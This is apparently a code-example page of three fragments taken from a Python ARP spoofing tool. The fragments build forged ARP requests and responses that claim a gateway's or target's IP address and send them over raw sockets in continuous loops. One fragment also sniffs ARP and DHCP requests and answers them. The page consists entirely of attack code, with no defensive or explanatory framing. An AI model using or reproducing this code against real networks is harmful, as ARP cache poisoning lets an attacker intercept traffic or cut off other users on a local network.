Beispiel #1
0
                arp_request = arp.make_request(ethernet_src_mac=your_mac_address,
                                               ethernet_dst_mac=target_mac_address,
                                               sender_mac=your_mac_address,
                                               sender_ip=gateway_ip_address,
                                               target_mac="00:00:00:00:00:00",
                                               target_ip=Base.get_netiface_random_ip(network_interface))
                socket_global.send(arp_request)
                sleep(1)
        # endregion

        # region ARP spoofing with ARP responses
        else:
            Base.print_info("Send ARP responses to: ", target_ip_address + " (" + target_mac_address + ")")
            Base.print_info("Start ARP spoofing ...")
            arp_response = arp.make_response(ethernet_src_mac=your_mac_address,
                                             ethernet_dst_mac=target_mac_address,
                                             sender_mac=your_mac_address,
                                             sender_ip=gateway_ip_address,
                                             target_mac=target_mac_address,
                                             target_ip=target_ip_address)
            while True:
                socket_global.send(arp_response)
                sleep(1)
        # endregion

    except KeyboardInterrupt:
        socket_global.close()
        Base.print_info("Exit")
        exit(0)
# endregion
Beispiel #2
0
# region Main function
if __name__ == "__main__":

    # region Create Raw socket
    SOCK = socket(AF_PACKET, SOCK_RAW)
    SOCK.bind((current_network_interface, 0))
    # endregion

    # region Send ARP reply packets
    try:

        # region Make ARP reply packet
        arp_reply_packet = arp.make_response(
            ethernet_src_mac=sender_mac_address,
            ethernet_dst_mac=target_mac_address,
            sender_mac=sender_mac_address,
            sender_ip=args.sender_ip,
            target_mac=target_mac_address,
            target_ip=args.target_ip)
        # endregion

        # region Set count of packets
        if args.count is None:
            count_of_packets = 1000000000
        else:
            count_of_packets = int(args.count)
        # endregion

        # region General output
        Base.print_info("Network interface: ", current_network_interface)
        Base.print_info("Target mac address: ", target_mac_address)
Beispiel #3
0
    else:
        Base.print_info("Sniff ARP or DHCP requests ...")
        Sniff.start(protocols=['ARP', 'IP', 'UDP', 'DHCP'], prn=reply)
# endregion


# region Main function
if __name__ == "__main__":
    try:
        if _target_ip_address is None:
            arp_sniffer()
        else:
            # region Make ARP request and response
            _arp_response = _arp.make_response(ethernet_src_mac=_current_mac_address,
                                               ethernet_dst_mac=_target_mac_address,
                                               sender_mac=_current_mac_address,
                                               sender_ip=_target_ip_address,
                                               target_mac=_target_mac_address,
                                               target_ip=_target_ip_address)

            if args.broadcast:
                destination_mac_address = "ff:ff:ff:ff:ff:ff"
            else:
                destination_mac_address = "33:33:00:00:00:01"
            _arp_request = _arp.make_request(ethernet_src_mac=_current_mac_address,
                                             ethernet_dst_mac=destination_mac_address,
                                             sender_mac=_current_mac_address,
                                             sender_ip=_target_ip_address,
                                             target_mac="00:00:00:00:00:00",
                                             target_ip=Base.get_netiface_random_ip(_current_network_interface))
            # endregion